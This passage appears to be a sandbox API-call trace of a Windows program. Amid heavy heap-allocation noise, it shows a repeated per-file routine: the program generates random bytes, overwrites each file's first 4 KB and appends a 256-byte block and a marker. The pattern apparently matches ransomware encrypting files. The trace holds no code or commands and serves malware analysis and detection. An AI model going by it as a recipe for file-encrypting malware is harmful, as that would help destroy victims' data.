0x540000 [0083.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.391] GetProcessHeap () returned 0x540000 [0083.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.391] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.392] GetProcessHeap () returned 0x540000 [0083.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.392] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.393] GetProcessHeap () returned 0x540000 [0083.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.394] GetProcessHeap () returned 0x540000 [0083.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.394] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.394] WriteFile (in: hFile=0x854, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.395] WriteFile (in: hFile=0x854, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.395] GetProcessHeap () returned 0x540000 [0083.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.395] GetProcessHeap () returned 0x540000 [0083.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.395] GetProcessHeap () returned 0x540000 [0083.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.395] CloseHandle (hObject=0x854) returned 1 [0083.396] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 55 [0083.396] SetFilePointerEx (in: hFile=0x858, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.396] ReadFile (in: hFile=0x858, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.396] SetFilePointerEx (in: hFile=0x858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.396] GetProcessHeap () returned 0x540000 [0083.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.396] GetProcessHeap () returned 0x540000 [0083.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.396] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.396] GetProcessHeap () returned 0x540000 [0083.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.396] ReadFile (in: hFile=0x858, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.444] SetFilePointerEx (in: hFile=0x858, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.444] WriteFile (in: hFile=0x858, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.445] GetProcessHeap () returned 0x540000 [0083.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.445] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.446] GetProcessHeap () returned 0x540000 [0083.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.447] GetProcessHeap () returned 0x540000 [0083.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.448] GetProcessHeap () returned 0x540000 [0083.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.449] SetFilePointerEx (in: hFile=0x858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.449] WriteFile (in: hFile=0x858, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.449] WriteFile (in: hFile=0x858, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.449] GetProcessHeap () returned 0x540000 [0083.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.449] CloseHandle (hObject=0x858) returned 1 [0083.451] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 56 [0083.451] SetFilePointerEx (in: hFile=0x85c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.451] ReadFile (in: hFile=0x85c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.451] SetFilePointerEx (in: hFile=0x85c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.451] GetProcessHeap () returned 0x540000 [0083.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.451] GetProcessHeap () returned 0x540000 [0083.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) 